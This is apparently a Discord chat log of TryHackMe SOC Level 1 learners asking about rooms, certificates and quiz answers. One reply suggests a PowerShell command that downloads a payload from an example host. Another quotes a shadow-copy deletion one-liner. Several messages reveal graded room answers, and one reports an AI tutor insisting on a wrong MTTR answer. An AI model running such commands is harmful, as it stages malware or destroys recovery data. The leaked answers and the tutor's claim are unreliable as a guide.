Hello I have a question, If I start the Soc Level 1 am I automatically entered in the giveaway? Or do I need to finish the whole course? (I really want that free sal1 exam pass)

#

nvm im dumb its 1 ticket per room again

vocal mesa
#

hmm page not found

vocal mesa
#

Can anyone help me figure out why xxx.xxx.xxx.103 is here the answer

#

I would say .104 should be the answer

#

Chips, here are tickets for rooms I already did ๐Ÿ™

#

@dull swallow must I do the rooms again for the tickets that I already done ??

vocal mesa
#

oke, thanks

#

frustating subject this way

#

@eternal moon did you also find the wireshark challenges very hard or is it just me ??

eternal moon
vocal mesa
#

for sure challenging
It causes me real headache after 1 - 2 hours work with wireshark

eternal moon
#

well, i've already encounter much worst rooms, but if you make few wireshark rooms it will be easier ๐Ÿ™‚

vocal mesa
#

oke, What did you find one of the most worst rooms then/

eternal moon
#

try HoloLive ๐Ÿ™‚

vocal mesa
#

is this a SOC challenge ??

eternal moon
vocal mesa
#

not for me.

#

First finish this course and do a lot of beginners challenges here

vocal mesa
#

oke, so I need to do some challenges again to earn the certificates ?? @proper meteor @dull swallow

fickle flare
vocal mesa
#

Then I do not know if this challenge is for me
Im still busy with some chapters of this level and im around 45 - 50%

fickle flare
#

There's time until end of day 25th January UK time, you can do it. Also you don't have to redo everything, only some of the rooms give you tickets

#

Rooms have a ticket next to it in the SOC Level 1 path

vocal mesa
#

oke

#

maybe in 2 weeks I can come till the windows or linux security monitoring

#

Obsidian works great as note-taking software

#

It offers plenty of possibilities and customizations

vocal mesa
#

oke, then I have to install it on 2 places ??

In SOC Roles in Blue Team room during task 5 "Final challange" you have that websity task to put good people in good spots. But it literally shows you good answer by either coloring in red or green when you grab someone and hover above answer. Is that intended?

In SOC Level 1, SOC Team Internals, SOC Metrics and Objectives, thez covered terms such as MTTD,MTTA,MTTR:
Imagine a scenario where an employee was lured into running data stealer malware.

The SOC team received the "Connection to Redline Stealer C2" alert after 12 minutes.
One of the L1 analysts on shift moved the alert to In Progress 10 minutes later.
After 6 minutes, the alert was escalated to L2, who spent 35 minutes cleaning the malware.
Provide the MTTD, MTTA, and MTTR via comma as your answer (e.g. 10,20,30).
My answer was : 12,10,41
My thought Process:
SOC Received alert afer 12 minutes after the malware started running which means MTTD = 12 L1 Analyst moves alert to in Progress after 10 minutes MTTA = 10 L1 Analyst then takes 6 minutes to escalte alert to L2 which becomes an Internal Process L2 Analyst then takes 35 minutes in clearing the malware MTTR = 6 + 35 = 41 Final Answer(MTTD,MTTA,MTTR) = 12,10,41

ANSWER IS INCORRECT?

has anyone done the soc L1 alert reporting task 4? My question 2 does not fit the flag the soc dashboard is giving me.

#

There are like 2 or 3 flags and they are sequenced

#

But Iโ€™m glad you were able to get it

solid nest

#

The alert in those rooms were to be taken based on severity.. so the first one would be the one with highest severity (critical) and the next would be lower (high -> medium -> low)

What is wrong with this snort rule :

alert tcp any any <> any any (msg:"PUSH ACK"; flags:P;sid:1000001;rev:1;)

to find the answer to this question

Clear the previous alert file and comment out the old rules. Write a rule to filter packets with Push-Ack flags and run it against the given pcap file. What is the number of detected packets?

limpid sun
# delicate verge Hey guys, can I start directly with an L1 SoC with some knowledge of networking,...

Ill echo @vocal mesa Id recommend learning some more fundamentals first, but you dont NEED to. I have started my own cyber career journey about a year and a half ago. There are a lot of fundamentals that will help you immensely, I did have 15 years of network and tech hobby. but it still took me about a year to reach the level of knowledge (and recall for that matter too) where i feel i can constantly move room to room without getting stuck. Fundamentals are the backbone of anything cyber and they are transferable skills.
But that can be not much fun so here is something i learned when i started: If the topic you are curious in is complex check the intro to that room they often say what prerequisites are required . Just brush up on those rooms and have them ready to reference forums, ai(echo included), and the community tutorials (youtube has a ton). If you get stuck follow along. I am someone who prefers to get in over my head then figure it out the hard way.
If you are tech savvy you could attempt the SOC L1 Cold Start, no penalty for trying and you may get further than you think. A lot of it is tutorial to start with (although those kinda expect you to know a bit of the basics).
To be very clear im talking cold start and not the certification. I do not recommend jumping right into that without some good background.

I have a verify/display issue with my SOC Level 1 Certificate. I completed the Legacy SOC Level 1 path on August 29 (89 hours). I recently completed the New SOC Level 1 path yesterday (65 hours). However, when I download my certificate for the new path, it is still generating the certificate with the old date (Aug 29) and the old hour count (89 hours). In which channel should I post this problem?

Same room, task 5:
What PowerShell script is observed to be executed?

The correct answer is:
||Get-WmiObject Win32_Shadowcopy | Remove-WmiObject||
However this is misleading as it's not a script, it's a cmdlet or rather an one-liner.

What is the MITRE ATT&CK ID associated with this execution?
And the correct answer: ||T1490||

Shouldn't it be ||T1059||? Win32_Shadowcopy might be related to the correct answer but the question is about PowerShell execution (?)

hello,in the room https://tryhackme.com/room/investigatingwithelk101 ,task 5, there is a question "Create a search query to filter the logs where Source_Country is the United States and show logs from User James or Albert. How many records were returned?"

#

The result I got is 101, and it says it's wrong.

#

This is what I wrote, is there anything wrong with it?
Source_Country : "United States" and ("Albert" or "james" )

#

I solved it, it came out to 161. The problem was that there were two employees named James, one with a capital J and the other with a lowercase J.

Hi, maybe it's a stupid question but I'm a bit surprised with the Introduction to phishing SOC Simulation scenario positioned at the end of the SOC Team internals chapter of the SOC L1 path. This simulation scenario info says it takes only around 10min to finish it, but when I'm looking at the playbook it seems that it would take me much much more time at the level where I am at in the SOC L1 path. Splunk and other techniques that I need to use are only learned in the subsequent chapters. So my question is: Am I missing something? Overthinking this simulation? Or did you guys kept going with the rest of the learning path chapter by chapter then only at the end worked on the SOC simulation scenario?

hi Quick question
Iโ€™ve been building a home lab using two laptops, and even though things are running, Iโ€™m feeling a bit lost about what I should do next to properly learn and progress as a SOC analyst, so I wanted to ask if thereโ€™s anything that can guide me on what to focus on now, what skills or scenarios to practice, and how to move forward from here.

Hey, don't know if this is the right area in the discord to ask this, I'm quite new to this platform. I've been recently going through the SOC Level 1 path on TryHackMe and I've come to the Snapped Phish-ing Line Room challenge. Prior to reaching this room the material I was reading felt like it was sinking in and making sense and when I've got to this room, part of me is feeling like did I even come across this before. Is there more things I should be doing prior to these type of rooms that are challenges? Did any of you feel the same way? Apologies for the long message but any help would be appreciated.

With the Linux Threath detection room task 5 How do I find this answer

Which command did the attacker use to list the last logged-in users?

You could try

sudo systemctl status auditd

sudo ausearch -x /bin/bash
sudo aureport -x

If that doesnโ€™t work you could try this.

# slender lance Hi, maybe it's a stupid question but I'm a bit surprised with the `Introduction ...

You can view this as your first experience working in a SOC, alerts coming in SIEM investigations. maybe you don't have all the information you need to close the alerts. it's less important that you nail this and find it easy. it's more important that this stretches yourself and maybe opens your eyes a little bit in terms of what's needed over the coming modules. You don't need to pass it successfully to move on to the next module. just view it as an experience. do your best.

# royal seal hi Quick question Iโ€™ve been building a home lab using two laptops, and even thou...

This is a very individual question, it depends on where you are starting out. There are lots of core concepts and understandings to learn that you can learn without a home lab. I'm saying this but I'm a really big fan of people having some type of home lab that they can set up, break, test ( learnt a huge amount myself that way).

If however you don't yet know what you want to build then probably the focus should be on a structured learning like our SOC Level 1 path. There maybe time going through this that you think you want to dig deeper on a certain concept that you can't do in the room or VM provided, then that would be a great first thing to build.

Hey guys i'm currently making write-ups for some of the rooms in the SOC1 path so I can put them on my portfolio to send to employers, but I'm struggling with a format for the SOC simulators - it seems like any way I do this theres a lot of bloat in the way of screenshots or alert repetition and I was wondering if anyone had any ideas?

#

I am not sure if there's a problem with this room for the SOC1 path but looking at writeups and comparing the answers to what I am actually seeing in the room doesn't look right.

Not sure if I am doing anything wrong or if there's a problem here that is beyond my scope.

https://tryhackme.com/room/ipanddomainthreatintel

The question

What is the country's name for the same IP address (64[.]31[.]63[.]194)?

Writeup says France but when I look at the IP lookup page, it only shows me the USA address so not sure what to do here.

Hey all, did anyone do the recent CTF we ran last weekend first-shift-ctf?

Just looking for some input from you all. the CTF was built based on the topics within the SOC level 1 path. we're considering if we should reuse the challenges and add it to the existing path for learning. Either break it up into individual rooms and include it in a module maybe right at the end or distribute it throughout the path as challenges you face along the way.

we're a little concerned that might make the path too long by putting these additional challenges in it because it already has capstone challenges.

anyone have any strong opinions either way?

Hello,

Iโ€™m experiencing an issue with Task 4, Question 2, where the platform does not appear to register or provide the correct flag after completing the task.

I have followed the required steps carefully and confirmed that the alert escalation and triage were completed correctly. However, the flag does not validate or update as expected.

To troubleshoot, I have already tried the following:
โ€ข Restarted the browser
โ€ข Tested using a different browser
โ€ข Logged out and logged back in
โ€ข Restarted the room/session where applicable

Despite these steps, the issue persists and no new or valid flag is generated for this task.

Could you please advise if this is a known issue or if there is an additional step I may be missing?

Hey there! I'm having trouble with determining if someone clicked on a phishing link or not in Siem (splunk). I've watched many videos/tutorials but I can't seem to grasp THAT part. Could anyone explain?

click on your profile -> Manage Accounts -> Account details. Scroll down on ccount details and you'll find your token. Then copy your token and come back here. Type /verify and choose the verify bot then it'll prompt for your token so you paste it. Then you'll be able to paste screenshots and other stuff

As a core user THM emailed me about my experience. in all honesty, you have started a great methodology to help garner new students to IT. The pre, and Cyber 101 courses are quite a good introduction. Soc1 (90%) through, tends to jump all over the place. The introduction of so many techniques, could baffle most users, and the use of a "league system" will just produce more analysts that have no idea what they are doing when it comes to an interview. I understand the need to make money, to keep this platform alive, but your challenge and league, carrot and stick learning approach will just create more undereducated; That have no chance in real in world institutions.

Appreciate all the feedback. i'm happy to take what's for me and my team and pass on what's for other teams.

    • " Soc1 (90%) through, tends to jump all over the place" - would you be able to share a little bit more on what you'd have preferred? would you be happier with maybe a much longer path and spend a much slower time progressing two concepts? there's a lot of skills required for an l1 in a soc and the path attempts to prepare people for that. but it seems the pace of movement between subjects is too fast?
  1. "league system" / "challenge and league, carrot and stick learning approach will just create more undereducated" - if you could maybe explain a little bit more about what you'd prefer or don't like about this I can pass it onto the right people. Motivating people to want to come back and learn seems like a good idea in theory but is your stance that this doesn't help people prepare for the real world?

That's the duality of creating OSINT rooms: teaching about real internet tools is probably for the best learning experience, but OSINT data can change over time. They could create their own OSINT services in a VM/static website but that would not be the same experience, and definitively take dev more time.

so I found the right one but yes it' change a lot

Hi everyone,

Iโ€™m currently testing a small DFIR scenario and ran into a performance issue.

I deployed the EICAR test file on a Windows test system and then collected artifacts using the Velociraptor Offline Collector.

After that, I created a Plaso database with log2timeline and uploaded it into Timesketch. Everything is running locally on my machine.

Hereโ€™s the problem:
โ€ข log2timeline took about 4 hours to complete.
โ€ข The resulting Plaso file is around 4GB.
โ€ข Indexing the file in Timesketch has already been running for more than 3 hours and is still not finished.

Is this normal behavior for a Plaso file of that size?

Does anyone know what might be causing this kind of delay?

Also, what would be a more efficient workflow in a real-world DFIR scenario? Waiting this long for timeline generation and indexing doesnโ€™t seem very practical.

Are there better approaches or alternative tools you would recommend?

Thanks in advance!

Hi everybody. I am stuck in last question of task6 for the room 'Linux Detection 2'. I got several IP addresses using the ausearch and the file audit.log. None of them has only two digits in each component of the ip address (xx.yy.xx.y-xx.yy.xx.yy, according to the example). Has anybody got the proper reasoning to get to the answer for this one?

# tired lance @Malware Concepts for SOC Recap Am I missing something?

It seems those Echo recaps are sometimes too literal and not flexible enough to accept a valid answer.
I haven't done that one but try commands with the powershell command itself like powershell -c "Invoke-WebRequest http://example.com/payload.exe" -OutFile C:\temp\payload.exe or a wget maybe.

To Become Good SOC You will have to think in parellel I meant by this You will have to know the way well tactics of the attacker If You dont know the pattern Attacker what you will defend protect ? Attacker will easily bypss

  • Along THM we have many sources depending on 1 resource will be problem af because benefit of the thm is its bginners friendly But After sometimes it's Spoonfeed
#

So you will have to work more places like linux, overwire , there are many places wher eyou can practice

That would be all sir, It's just overwhelming since there are a lot of information and feels like an endless learning which is really is the reality in cybersecurity.

Hey guys im on SOC L1 path and i do not understand one thing. Im on SOC MEtrics and Objectives and i have this task:

`Imagine a scenario where an employee was lured into running data stealer malware.

  1. The SOC team received the "Connection to Redline Stealer C2" alert after 12 minutes.
  2. One of the L1 analysts on shift moved the alert to In Progress 10 minutes later.
  3. After 6 minutes, the alert was escalated to L2, who spent 35 minutes cleaning the malware.
    Provide the MTTD, MTTA, and MTTR via comma as your answer (e.g. 10,20,30).`
#

i could not come up with proper answer because i was inputting || 12,10,41 ||

#

i even asked Echo like 10 times and he still insisted i am correct and it is || 12,10,41 ||

#

but it seems answer is || 12,10,51 || why is that?

#

Echo does not agree with that and claims this is an error in exercise lol, but i doubt thats the case

orchid aurora
# maiden plover but it seems answer is || 12,10,51 || why is that?

Echo is wrong. MTTR (Mean Time to Respond) is the time taken by SOC to actually stop the breach from spreading. In this scenario, ||L1 took 10 minutes of analysis to conclude to change the alert's status to In Progress instead of closing it as false positive (that is valuable time taken against the malware, without it there is no L2) . Then L1 took 6 more minutes to document the findings and assign it to L2 who then took 35 minutes to fix it. So 10+6+35=51||
